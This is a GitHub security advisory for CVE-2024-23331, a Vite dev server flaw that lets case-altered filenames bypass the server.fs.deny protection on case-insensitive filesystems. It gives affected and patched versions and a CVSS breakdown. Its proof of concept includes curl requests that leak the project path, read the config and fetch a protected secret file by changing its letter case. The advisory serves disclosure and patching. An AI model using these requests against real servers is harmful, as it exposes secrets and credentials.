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Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

High
patak-dev published GHSA-c24v-8rfc-w8vw Jan 19, 2024

Package

npm vite (npm)

Affected versions

>=2.7.0 <=2.9.16
>=3.0.0 <=3.2.7
>=4.0.0 <=4.5.1
>=5.0.0 <=5.0.11

Patched versions

>=2.9.17 <3.0.0
>=3.2.8 <4.0.0
>=4.5.2 <5.0.0
>=5.0.12

Description

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected]

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof
Screenshot 2024-01-19 022736

Impact

Who

  • Users with exposed dev servers on environments with case-insensitive filesystems

What

  • Files protected by server.fs.deny are both discoverable, and accessible

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-23331

Credits